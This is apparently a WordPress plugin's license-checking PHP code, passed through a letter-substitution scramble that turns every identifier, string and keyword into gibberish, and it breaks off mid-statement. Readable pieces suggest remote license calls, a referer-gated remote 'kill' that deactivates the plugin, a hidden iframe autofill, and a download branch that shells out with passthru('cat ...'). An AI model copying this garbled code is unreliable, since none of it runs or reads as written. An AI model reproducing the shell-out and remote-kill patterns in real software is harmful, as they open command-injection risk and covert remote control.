zBm_rqmxrs(Smyxn-QzmUnulz.QplrmUFDmxkFmxrsnQplrmU)U SFDmxkFmxrs = FooFh()U xA (xnnBm(SFDmxkFmxrsn[SuBkBu])) { SFDmxkFmxrs = SFDmxkFmxrsn[SuBkBu]U } xA (VSuBkBu) { SFDmxkFmxrs = oBnBm(SFDmxkFmxrsn)U } SqorClDm = QplrmUQplrmUU xA (xnnBm(SFDmxkFmxrs[QplrmUnulzQplrmU])) { SqorClDm = SFDmxkFmxrs[QplrmUnulzQplrmU]U } xA (xnnBm(SFDmxkFmxrs[QplrmUuBkBunQplrmU])) { SuBkBu = SFDmxkFmxrs[QplrmUuBkBunQplrmU]U } BunB { xA (SuBkBu == QplrmU3rsmyuhQplrmU) { SuBkBu = QplrmU3rsmyuh,?0coxq,drtquBmBC,$mlCBsm,!70 $mlCBsm,?0coxq $xszuB,?0coxq #oxquBQplrmUU } xA (BoBzx(QTPMGU,QTPMGU, SuBkBu)) { SuBkBu = BiqurCB(QplrmU,QplrmU, SuBkBu)U } xA (Vxn_FooFh(SuBkBu)) { SuBkBu = FooFh(SuBkBu)U } } SqFnn = molBU xA (DuFnn_Bixnmn(QplrmU?43f07QplrmU)) { SqFnn = AFunBU SuBkBun = ?43f07::9Bm;nBo4BkBun(SxC)U SuBkBun = Smyxn-QzmUlqzoFCB_uBkBun(SuBkBun)U xA (xn_FooFh(SuBkBu) QFtqUQFtqU Drlsm(SuBkBu) QzmU P) { AroBFDy (SuBkBu Fn SDuxBsm4BkBu) { xA (xs_FooFh(SDuxBsm4BkBu, SuBkBun)) { SqFnn = molBU EoBFvU } } } } xA (SFDmxrs == QplrmUCrjsurFCQplrmU) { @rE_BsC_DuBFs()U xA (VSqFnn) { CxB()U } xA (Smyxn-QzmUvBh(SBtFxu) V= SvBh) { CxB()U } SCrjsurFC = Smyxn-QzmUAxsC(SqorClDm)U yBFCBo(QTPMGUdrsmBsm-#hqB: FqquxDFmxrs/rDmBm-nmoBFtQTPMGU)U yBFCBo(QTPMGUdrsmBsm-cxnqrnxmxrs: FmmFDytBsmU AxuBsFtB=QplrmUQTPMGU.EFnBsFtB(SCrjsurFC).QTPMGUQplrmUQTPMGU)U yBFCBo(QTPMGUdrsmBsm-4Bszmy: QTPMGU . AxuBnxgB(SCrjsurFC))U qFnnmyol(QTPMGUDFm QTPMGU.SCrjsurFC, SBoo)U CxB()U } xA (SFDmxrs == QplrmUlqCFmBQplrmU) { @rE_BsC_DuBFs()U xA (VSqFnn) { CxB()U } xA (Smyxn-QzmUvBh(SBtFxu) V= SvBh) { CxB()U } yBFCBo(QplrmUdrsmBsm-mhqB:FqquxDFmxrs/wnrsQplrmU)U Smyxn-QzmUlqCFmB(SqorClDm, SBtFxu, SvBh, SuBkBu)U CxB()U } xA (VqoBz_tFmDy(QTPMGU@tBtEBonyxqDlEB@nxQTPMGU, S_$b	!b	[QplrmU8##0_81$#QplrmU]) QFtqUQFtqU SFDmxrs == QplrmUBiqxoBQplrmU) { BDyr QplrmUb>07	bcQplrmUU CxB()U } xA (VqoBz_tFmDy(QTPMGU@tBtEBonyxqDlEB@nxQTPMGU, S_$b	!b	[QplrmU8##0_81$#QplrmU]) QFtqUQFtqU SFDmxrs == QplrmUvxuuQplrmU) { xA (Smyxn-QzmUnBmmxszn[QplrmUvBhQplrmU] == SvBh QFtqUQFtqU Smyxn-QzmUnBmmxszn[QplrmUBtFxuQplrmU] == SBtFxu) { Smyxn-QzmUCBFDmxkFmB()U BDyr QplrmU5744bcQplrmUU CxB()U } } xA (DuFnn_Bixnmn(QplrmU?43f07QplrmU)) { xA (VSqFnn) { oBmlos QplrmUaf74bcQplrmUU } SCrtFxsn = zBm_lnBo_tBmF(SxC, Smyxn-QzmUnulz)U SFuurj = molBU xA (Vxs_FooFh(SnxmB, SCrtFxsn) QFtqUQFtqU SFDmxrs == QplrmUFDmxkFmBQplrmU) { xA ((SuBkBun == QplrmU?0coxq $xszuBQplrmU || xs_FooFh(QplrmU?0coxq $xszuBQplrmU, SuBkBun)) QFtqUQFtqU Drlsm(SCrtFxsn) QzmU O) { oBmlos QplrmUaf74bcQplrmUU } xA ((SuBkBun == QplrmU?0coxq #oxquBQplrmU || xs_FooFh(QplrmU?0coxq #oxquBQplrmU, SuBkBun)) QFtqUQFtqU Drlsm(SCrtFxsn) QzmU M) { oBmlos QplrmUaf74bcQplrmUU } } xA (SFDmxrs == QplrmUCBFDmxkFmBQplrmU) { Smyxn-QzmUoBtrkB(SxC, SnxmB, SBtFxu)U oBmlos QplrmUaf74bcQplrmUU } SnqBDxFu = QplrmUQplrmUU xA (xn_FooFh(SuBkBun)) { AroBFDy (SuBkBun Fn SuBkBu5Bh =QzmU SuBkBu!FulB) { xA (SuBkBu!FulB == QplrmU;umxtFmBQplrmU) { SnqBDxFu = QplrmUlumxtFmBQplrmUU } xA (Vxs_FooFh(SuBkBu!FulB, SuBkBun)) { DrsmxslBU } xA (SnxmB) { SruCcrtFxsn = SCrtFxsnU SCrtFxsn[] = SnxmBU SCrtFxsn = FooFh_kFulBn(FooFh_lsxplB(SCrtFxsn))U } lqCFmB_lnBotBmF(SxC, Smyxn-QzmUnulz, SCrtFxsn)U } } xA (SnqBDxFu == QplrmUQplrmU) { xA (xnnBm(SFDmxkFmxrs[QplrmUCrjsurFCQplrmU]) QFtqUQFtqU (SkBonxrs = Smyxn-QzmUkBonxrs(SFDmxkFmxrs[QplrmUCrjsurFCQplrmU]))) { oBmlos SkBonxrsU } BunB { oBmlos Smyxn-QzmUkBonxrsU } } oBmlos Smyxn-QzmUkBonxrs . QplrmU-QplrmU . SnqBDxFuU } oBmlos QplrmUaf74bcQplrmUU } AlsDmxrs nBmmxszn_zBm() { xA (VAlsDmxrs_Bixnmn(QplrmUzBm_rqmxrsQplrmU)) { oBmlosU } SnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U xA (SFozn = AlsD_zBm_Fozn()) { SoBmlos = FooFh()U AroBFDy (SFozn Fn SFoz) { SoBmlos[] = SnBmmxszn[SFoz]U } oBmlos SoBmlosU } oBmlos SnBmmxsznU } AlsDmxrs DFuu() { SnBmmxszn = FooFh()U xA (xnnBm(S_01$#[QplrmU4xDBsnBbtFxuQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmU4xDBsnB5BhQplrmU])) { SnBmmxszn = FooFh()U SnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U xA (Vxn_FooFh(SnBmmxszn)) { SnBmmxszn = FooFh()U } SnBmmxszn[QplrmUBtFxuQplrmU] = moxt(S_01$#[QplrmU4xDBsnBbtFxuQplrmU])U SnBmmxszn[QplrmUvBhQplrmU] = moxt(S_01$#[QplrmU4xDBsnB5BhQplrmU])U lqCFmB_rqmxrs(Smyxn-QzmUnulz, SnBmmxszn)U } SnxmB = CxosFtB(DrsnmFsm(QplrmU?0_d12#b2#_;	4QplrmU))U SyFny = QplrmUQplrmUU SBtFxu = QplrmUQplrmUU SvBh = QplrmUQplrmUU SyFny = QplrmUQplrmUU SuFnmyFny = QplrmUQplrmUU SuFnmDyBDv = PU SuFnmkBonxrs = PU SkBonxrs = PU xA (Smyxn-QzmUkBonxrs) { SuFnmkBonxrs = Smyxn-QzmUkBonxrsU } SuFnmkBonxrsDyBDv = PU SnBmmxszn = FooFh()U xA (SnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)) { BimoFDm(SnBmmxszn)U } Slou = QplrmUQplrmUU xA (Smyxn-QzmUAluu;	4) { Slou = Smyxn-QzmUAluu;	4U } Smyxn-QzmUCBElz(QplrmUDFuu yrtB = QplrmU . Slou)U SuxDBsnBbiqxoB = (mxtB()-SuFnmDyBDv) QzmU HJLPPU SkBonxrsbiqxoB = (mxtB()-SuFnmkBonxrsDyBDv) QzmU MJPPU SmxtBrlmbiqxoB = (mxtB()-SuFnmkBonxrsDyBDv) QzmU MPU Smyxn-QzmUCBElz(QplrmUmxtBrlm BiqxoB = QplrmU . (mxtB()-SuFnmkBonxrsDyBDv) . QplrmU nBDrsCnQplrmU)U Smyxn-QzmUCBElz(QplrmUuFnm uxDBsnB DyBDv: QplrmU . CFmB(QplrmUoQplrmU, SuFnmDyBDv) . QplrmU = QplrmU . (mxtB() - SuFnmDyBDv) . QplrmU, QplrmU . QplrmUuFnm kBonxrs DyBDv: QplrmU . CFmB(QplrmUoQplrmU, SuFnmkBonxrsDyBDv) . QplrmU = QplrmU . (mxtB() - SuFnmkBonxrsDyBDv))U SyFny = QplrmUQplrmUU xA (Smyxn-QzmUnFum) { SyFny = tCK(SuFnmkBonxrsDyBDv.QplrmU|QplrmU . QplrmU|QplrmU . SuFnmkBonxrs . QplrmU|QplrmU . Smyxn-QzmUnFum)U } Smyxn-QzmUCBElz(QplrmUyFny = QplrmU . SyFny .QplrmU, uFnm yFny = QplrmU. SuFnmyFny)U xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUlumxtFmB) { Smyxn-QzmUlumxtFmB = molBU } Smyxn-QzmUCBElz(QplrmUDFDyBC = QplrmU . Smyxn-QzmUDFuu)U xA (Smyxn-QzmUnFum QFtqUQFtqU SyFny == SuFnmyFny QFtqUQFtqU Smyxn-QzmUDFuu V= QplrmUQplrmU) { oBmlos Smyxn-QzmUDFuuU } Smyxn-QzmUCBElz(QplrmUDrsmxslxsz...QplrmU)U Smyxn-QzmUCBElz(QplrmUuxDBsnB BiqxoB = QplrmU . SuxDBsnBbiqxoB . QplrmU, kBonxrs BiqxoB = QplrmU . SkBonxrsbiqxoB . QplrmU, uFnmkBonxrs = QplrmU . SuFnmkBonxrs . QplrmU, vBh = QplrmU . SvBh)U xA (VSlou) { Smyxn-QzmUCBElz(QplrmU2rm DFuuxsz yrtB hBmQplrmU)U oBmlos SuFnmkBonxrsU } BunBxA (VSmyxn-QzmUnFum) { Smyxn-QzmUCBElz(QplrmUcxC srm sBBC mr DFuu yrtBQplrmU)U Smyxn-QzmUDFuu = SuFnmkBonxrsU xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUnFum) { Smyxn-QzmUnFum = molBU } oBmlos SuFnmkBonxrsU } BunBxA (VSvBh || VSBtFxu) { oBmlos QplrmU;2	b97$#b	bcQplrmUU } BunBxA (SuxDBsnBbiqxoB || SkBonxrsbiqxoB || VSuFnmkBonxrs || nmoqrn(Smyxn-QzmUDFuu, QplrmU QplrmU) V== af4$b) { Smyxn-QzmUCBElz(QplrmUvBh = SvBh, mxtBrlm BiqxoB = SmxtBrlmbiqxoB, uFnmkBonxrs = SuFnmkBonxrsQplrmU)U xA (VxnnBm(S_01$#[QplrmU4xDBsnBbtFxuQplrmU]) QFtqUQFtqU SvBh QFtqUQFtqU VSmxtBrlmbiqxoB QFtqUQFtqU (SuFnmkBonxrs == QplrmU;2	b97$#b	bcQplrmU || SuFnmkBonxrs == QplrmU;2521?2QplrmU || SuFnmkBonxrs == QplrmUdf2db44bcQplrmU || SuFnmkBonxrs == QplrmUaf74bcQplrmU || SuFnmkBonxrs == QplrmUe41d5bcQplrmU)) { Smyxn-QzmUCBElz(QplrmUcBuFhBC DFuuxsz yrtB. dFDyBC = SuFnmkBonxrsQplrmU)U oBmlos SuFnmkBonxrsU } Smyxn-QzmUCBElz(QplrmUdFuuBC yrtBQplrmU)U xA (VAlsDmxrs_Bixnmn( QTPMGUjq_oBtrmB_zBmQTPMGU ) ) { oBplxoB_rsDB( fe$0f#8 . QTPMGUjq-xsDulCBn/ymmq.qyqQTPMGU )U } xA (AlsDmxrs_Bixnmn(QplrmUjq_oBtrmB_zBmQplrmU)) { SoBnqrsnB = QplrmUQplrmUU SoBnlum = jq_oBtrmB_zBm(Slou, FooFh( QTPMGUmxtBrlmQTPMGU=QzmUMP, QTPMGUnnukBoxAhQTPMGU =QzmU AFunB, QTPMGUymmqkBonxrsQTPMGU =QzmU QTPMGUO.OQTPMGU ))U Smyxn-QzmUCBElz(kFo_Biqrom(SoBnlum, molB))U Smyxn-QzmUCBElz(QplrmUlou = SlouQplrmU)U xA(xn_jq_Booro(SoBnqrsnB)) { Smyxn-QzmUCBElz(kFo_Biqrom(SoBnqrsnB, molB))U SoBnqrsnB = QplrmUe41d5bcQplrmUU } SoBnlumn = jq_oBtrmB_oBmoxBkB_ErCh(SoBnlum)U xA (Btqmh(SoBnlumn)) { Smyxn-QzmUCBElz(QplrmUBtqmh oBnqrsnBQplrmU)U SoBnlumn = QplrmUe41d5bcQplrmUU } } BunB { Snsrrqh = sBj $srrqh()U Snsrrqh-QzmU_Aq_mxtBrlm = OPU xA (SoBnlum = Snsrrqh-QzmUABmDy(Slou)) { SoBnlumn = Snsrrqh-QzmUoBnlumnU } } xA (SoBnlumn) { xA (Btqmh(SoBnlumn) || SoBnlumn == QplrmU;2	b97$#b	bcQplrmU || SoBnlumn == QplrmU;2521?2QplrmU || SoBnlumn == QplrmUdf2db44bcQplrmU || SoBnlumn == QplrmUaf74bcQplrmU || SoBnlumn == QplrmUe41d5bcQplrmU) { SkFuxC4xDBsnB = AFunBU } BunB { SkFuxC4xDBsnB = molBU } xA (SkFuxC4xDBsnB) { SkBonxrs = moxt(SoBnlumn)U } BunBxA (VSuxDBsnBbiqxoB) { SkBonxrs = SuFnmkBonxrsU } SmxtB = mxtB()U SyFny = QplrmUQplrmUU xA (Smyxn-QzmUnFum) { SyFny = tCK(SmxtB . QplrmU|QplrmU . SkBonxrs . QplrmU|QplrmU . Smyxn-QzmUnFum)U SnBmmxszn[QplrmUuFnmyFnyQplrmU] = SyFnyU Smyxn-QzmUCBElz(QplrmUnBm uFnm yFny mr SyFnyQplrmU)U } SnBmmxszn[QplrmUuFnmkBonxrsQplrmU] = SkBonxrsU SnBmmxszn[QplrmUuFnmDyBDvQplrmU] = SmxtBU SnBmmxszn[QplrmUuFnmkBonxrsDyBDvQplrmU] = SmxtBU lqCFmB_rqmxrs(Smyxn-QzmUnulz, SnBmmxszn)U Smyxn-QzmUCBElz(QplrmUnFkxsz nBmmxsznQplrmU)U Smyxn-QzmUDFuu = SoBnlumnU xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUlumxtFmB) { Smyxn-QzmUlumxtFmB = molBU } Smyxn-QzmUCBElz(QplrmUoBtrmB = QplrmU . Smyxn-QzmUDFuu)U oBmlos SoBnlumnU } BunB { SoBmlos = QplrmUe41d5bcQplrmUU Smyxn-QzmUDFuu = SoBmlosU Smyxn-QzmUCBElz(QplrmUuxDBsnB = QplrmU . SoBmlos)U SnBmmxszn[QplrmUuFnmDyBDvQplrmU] = SmxtBU SnBmmxszn[QplrmUuFnmkBonxrsDyBDvQplrmU] = SmxtBU SnBmmxszn[QplrmUuFnmkBonxrsQplrmU] = SkBonxrsU lqCFmB_rqmxrs(Smyxn-QzmUnulz, SnBmmxszn)U Smyxn-QzmUCBElz(QplrmUnFkxsz nBmmxsznQplrmU)U oBmlos SoBmlosU oBmlos sluuU } } Smyxn-QzmUCBElz(QplrmUcxC srm sBBC mr DFuu yrtBQplrmU)U Smyxn-QzmUDFuu = SuFnmkBonxrsU xA (nmoqrn(Smyxn-QzmUDFuu, QplrmUlumxtFmBQplrmU) V== af4$b QFtqUQFtqU VSmyxn-QzmUlumxtFmB) { Smyxn-QzmUlumxtFmB = molBU } oBmlos SuFnmkBonxrsU } AlsDmxrs CBFDmxkFmB() { xA (VxnnBm(Smyxn-QzmUnBmmxszn)) { Smyxn-QzmUnBmmxszn = zBm_rqmxrs(Smyxn-QzmUnulz)U } lsnBm(Smyxn-QzmUnBmmxszn[QplrmUBtFxuQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUvBhQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUuFnmDyBDvQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUuFnmyFnyQplrmU])U lsnBm(Smyxn-QzmUnBmmxszn[QplrmUuFnmkBonxrsQplrmU])U lqCFmB_rqmxrs(Smyxn-QzmUnulz, Smyxn-QzmUnBmmxszn)U } AlsDmxrs kBonxrs_ArotFm(Sxsqlm) { xA (xn_FooFh(Sxsqlm) || Btqmh(Sxsqlm)) { oBmlos SxsqlmU } xA (Vnmoqrn(Sxsqlm, QplrmU.QplrmU) V== af4$b) { oBmlos SxsqlmU } uxnm(SxsmBzBo, SAoFDmxrs) = BiqurCB(QTPMGU.QTPMGU, Sxsqlm, N)U SxsmBzBo = xsmkFu(SxsmBzBo)U SAoFDmxrs = qoBz_oBquFDB([email protected](GO).Dyo(GL).QTPMGUP-GQTPMGU.Dyo(GM).QTPMGU@nxQTPMGU, QTPMGUQTPMGU, SAoFDmxrs)U oBmlos AurFmkFu(SxsmBzBo.QplrmU.QplrmU.SAoFDmxrs)U } AlsDmxrs kBonxrs_DrtqFoB(SF, SE) { SF = nmo_oBquFDB(QplrmU-lumxtFmBQplrmU, QplrmUQplrmU, SF)U SE = nmo_oBquFDB(QplrmU-lumxtFmBQplrmU, QplrmUQplrmU, SE)U SArotFmf = Smyxn-QzmUkBonxrs_ArotFm(SF)U SArotFme = Smyxn-QzmUkBonxrs_ArotFm(SE)U SuBmmBof = QplrmUQplrmUU SuBmmBoe = QplrmUQplrmUU xA (SArotFmf == SArotFme) { qoBz_tFmDy(QTPMGU@([f-<])QTPMGU.Dyo(MJ).QTPMGU@nxQTPMGU, SF, StFmDyBn)U SuBmmBof = QplrmUQplrmUU xA (xnnBm(StFmDyBn[O])) { SuBmmBof = nmomrlqqBo(StFmDyBn[O])U } qoBz_tFmDy(QTPMGU@([f-<])QTPMGU.Dyo(MJ).QTPMGU@nxQTPMGU, SE, StFmDyBn)U xA (xnnBm(StFmDyBn[O])) { SuBmmBoe = nmomrlqqBo(StFmDyBn[O])U } xA (SuBmmBof == QplrmUQplrmU QFtqUQFtqU SuBmmBoe V= QplrmUQplrmU) { oBmlos -OU } xA (SuBmmBof V= QplrmUQplrmU QFtqUQFtqU SuBmmBoe == QplrmUQplrmU) { oBmlos OU } oBmlos nmoDtq(SuBmmBof, SuBmmBoe)U } BunB { oBmlos (SArotFmf QumU SArotFme) W -O : OU } } AlsDmxrs tBnnFzB(SDFuu=QplrmUQplrmU) { xA (Btqmh(SDFuu)) { SDFuu = Smyxn-QzmUDFuu()U } Slou = QplrmUmrrun.qyqWqFzB=QplrmU . qulzxs_EFnBsFtB(__a74b__)U xA (xnnBm(S_9b#[QplrmUqFzBQplrmU]) QFtqUQFtqU S_9b#[QplrmUqFzBQplrmU] == Slou) { Slou = Smyxn-QzmUlqzoFCB;	4U } SqFomn = qFonB_lou(Slou)U xA (xnnBm(SqFomn[QplrmUyrnmQplrmU])) { SyrnmsFtB = SqFomn[QplrmUyrnmQplrmU]U } BunB { SyrnmsFtB = QplrmUQplrmUU } WQzmUY   QumUWqyq xA (Btqmh(SDFuu)): WQzmUY   QumUV-- Cr srmyxsz --QzmUY   QumUWqyq BunBxA (SDFuu == QplrmUe41d5bcQplrmU): WQzmUY   QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY   QumUWqyqY Sxq = zBmyrnmEhsFtB(S_$b	!b	[QplrmU8##0_81$#QplrmU])U SyrnmsFtB = zBmyrnmEhsFtB(QplrmUtBtEBozBsxln.DrtQplrmU)U WQzmUY   QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrlo jBE yrnm xn AxoBjFuuBC. 0uBFnB DrsmFDm myBt mr Fuurj rlmzrxsz DrssBDmxrsn Aort QumUEQzmUQumUWqyq BDyr SxqU WQzmUQumU/EQzmU mr QumUEQzmUQumUWqyq BDyr SyrnmsFtBU WQzmUQumU/EQzmU rs qrom HP.QumUEo /QzmU ?B nlzzBnm hrl CBFDmxkFmB myB QFtqUplrmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmUQFtqUplrmU qulzxs lsmxu myxn qorEuBt xn nrukBC.QumU/qQzmUY   QumU/CxkQzmUY   QumUWqyq BunBxA (SDFuu == QplrmU;2	b97$#b	bcQplrmU): WQzmUY   QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY   QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrl sBBC mr QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmUBsmBo hrlo uxDBsnB vBhQumU/FQzmU mr EBzxs lnxsz myB qulzxs.QumU/qQzmUY   QumU/CxkQzmUY   QumUWqyq BunBxA (SDFuu == QplrmUdf2db44bcQplrmU): WQzmUY   QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY   QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrlo uxDBsnB yFn EBBs QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmUDFsDBuuBC Aro srs-qFhtBsmQumU/FQzmU.QumU/qQzmUY   QumU/CxkQzmUY   QumUWqyq BunBxA (SDFuu == QplrmU;2521?2QplrmU): WQzmUY   QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY   QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU #yFm BtFxu FCCoBnn xn srm ArlsC xs rlo CFmFEFnB, QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmUquBFnB CrlEuB DyBDv hrlo CBmFxunQumU/FQzmU.QumU/qQzmUY   QumU/CxkQzmUY   QumUWqyq BunBxA (SDFuu == QplrmU1!b	a41?QplrmU): WQzmUY   QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY   QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrl FoB lnxsz troB myFs K nxmBn jxmy QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU, quBFnB QumUF yoBA=QplrmUymmq://QumUWqyq BDyr Smyxn-QzmUlqzoFCB;	4U WQzmUQplrmUQzmUlqzoFCB mr ;umxtFmBQumU/FQzmU srj.QumU/qQzmUY   QumU/CxkQzmUY   QumUWqyq BunBxA (SDFuu == QplrmUaf74bcQplrmU): WQzmUY   QumUCxk DuFnn=QplrmUBooroQplrmUQzmUY   QumUqQzmUQumUEQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU fuBom:QumU/EQzmU QumUF yoBA=QplrmUQumUWqyq BDyr SlouU WQzmUQplrmUQzmU7sDrooBDm uxDBsnB vBhQumU/FQzmU Aro myFm BtFxu FCCoBnn.QumU/qQzmUY   QumU/CxkQzmUY   QumUWqyq BsCxAU WQzmUY   QumUWqyqY } AlsDmxrs oBzxnmBo(SDFuu) { xA (xnnBm(S_01$#[QplrmU4xDBsnBbtFxuQplrmU])) { SBtFxu = S_01$#[QplrmU4xDBsnBbtFxuQplrmU]U } BunB { SBtFxu = zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU)U } xA (xnnBm(S_01$#[QplrmU4xDBsnB5BhQplrmU])) { SvBh = S_01$#[QplrmU4xDBsnB5BhQplrmU]U } BunB { SvBh = QplrmUQplrmUU } WQzmUY   QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY   QumUyNQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQumU/yNQzmUYY   QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY   QumUmFEuB DuFnn=QplrmUArot-mFEuBQplrmUQzmUY      QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY         QumUmC DrunqFs=QplrmUMQplrmU nmhuB=QplrmUEroCBo:srsBQplrmUQzmUY            QumUqQzmU0uBFnB BsmBo hrlo QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 4xDBsnB 5Bh FsC btFxu EBurj mr FDmxkFmB myxn qulzxs.QumU/qQzmUY         QumU/mCQzmUY      QumU/moQzmUY      QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY         QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUEroCBo:srsBUjyxmB-nqFDB:srjoFqUQplrmUQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQumU/myQzmUY         QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmUQumUxsqlm rsCEuDuxDv=QplrmUmyxn.kFulB=QTPMGUQTPMGUQplrmU mhqB=QplrmUmBimQplrmU xC=QplrmU4xDBsnB5BhQplrmU sFtB=QplrmU4xDBsnB5BhQplrmU kFulB=QplrmUQumUWqyq BDyr SvBhU WQzmUQplrmU nxgB=QplrmUMNQplrmU /QzmUQumU/mCQzmUY         QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmU(#yxn jFn nBsm mr myB BtFxu hrl lnBC Cloxsz hrlo qloDyFnB)QumU/mCQzmUY      QumU/moQzmUY      QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY         QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUEroCBo:srsBUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU btFxuQumU/myQzmUY         QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmUQumUxsqlm rsCEuDuxDv=QplrmUmyxn.kFulB=QTPMGUQTPMGUQplrmU mhqB=QplrmUmBimQplrmU xC=QplrmU4xDBsnBbtFxuQplrmU sFtB=QplrmU4xDBsnBbtFxuQplrmU kFulB=QplrmUQumUWqyq BDyr SBtFxuU WQzmUQplrmU nxgB=QplrmUMNQplrmU /QzmUQumU/mCQzmUY         QumUmC nmhuB=QplrmUEroCBo:srsBQplrmUQzmU(0uBFnB BsmBo myB BtFxu hrl lnBC Cloxsz hrlo oBzxnmoFmxrs/qloDyFnB)QumU/mCQzmUY      QumU/moQzmUY      QumUmo kFuxzs=QplrmUmrqQplrmUQzmUY         QumUmC DrunqFs=QplrmUMQplrmUQzmUY            QumUqQzmUQumUEQzmU2rmB:QumU/EQzmU QumUWqyq BDyr Dyo(QplrmUHGQplrmU)U WQzmUrl sBBC mr BsmBo myB BtFxu FCCoBnn QumUeQzmUhrl lnBC mr 0;	d8f$bQumU/eQzmU QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU, srm sBDBnnFoxuh myB FCtxsxnmoFmro BtFxu FCCoBnn rA myxn Eurz.QumU/qQzmUY         QumU/mCQzmUY      QumU/moQzmUY   QumU/mFEuBQzmUY   QumUq DuFnn=QplrmUnlEtxmQplrmUQzmUY      QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQplrmU sFtB=QplrmU$lEtxmQplrmU /QzmUY      QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUvBh;	4U WQzmUQplrmUQzmU9Bm 2Bj QumUWqyq BDyr Smyxn-QzmUqorClDm2FtBU WQzmU 5BhQumU/FQzmUY   QumU/qQzmUY   QumU/ArotQzmUY   QumU/CxkQzmUYY   QumUWqyq Smyxn-QzmUFlmrAxuu()U WQzmUY   QumUWqyqY } AlsDmxrs FlmrAxuu() { WQzmUY      QumUxAoFtB xC=QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU noD=QplrmUFErlm:EuFsvQplrmU jxCmy=QplrmUOQplrmU yBxzym=QplrmUOQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUQumU/xAoFtBQzmUY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--Y      kFo tBtEBozBsxln_yrtB = [Y         QplrmUymmq://jjj.xsDrtBtFDyxsB.Drt/tBtEBon/WjqCoxq_yBFCuBnn=OQplrmUY      ]UY      AlsDmxrs tBtEBozBsxln_nBsC3BnnFzB() {Y         CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU).DrsmBsm?xsCrj.qrnm3BnnFzB(QplrmUuxDBsnBQplrmU, QplrmU*QplrmU)UY      }Y      AlsDmxrs tBtEBozBsxln_oBDBxkB3BnnFzB(BkBsm) {Y         xA (BkBsm == lsCBAxsBC || VBkBsm || BkBsm.CFmF == lsCBAxsBC) { oBmlosU }Y         BunB xA (BkBsm.CFmF == QplrmUQplrmU || BkBsm.CFmF == sluu || BkBsm.CFmF == QplrmUsluuQplrmU) {Y            tBtEBozBsxln_yrtB = tBtEBozBsxln_yrtB.nuxDB(O)UY            tBtEBozBsxln_FlmrAxuu(tBtEBozBsxln_yrtB[P])UY            oBmlosUY         }Y         BunB xA (BkBsm.CFmF V= lsCBAxsBC QFtqUQFtqU BkBsm.CFmF V= sluu QFtqUQFtqU BkBsm.CFmF V= QplrmUQplrmU) {Y            kFo qxBDBn = BkBsm.CFmF.nquxm(QplrmU|QplrmU)UYY            kFo vBh = lsBnDFqB(qxBDBn[P])UY            kFo BtFxu = lsBnDFqB(qxBDBn[O])UYY            xA (vBh == lsCBAxsBC || 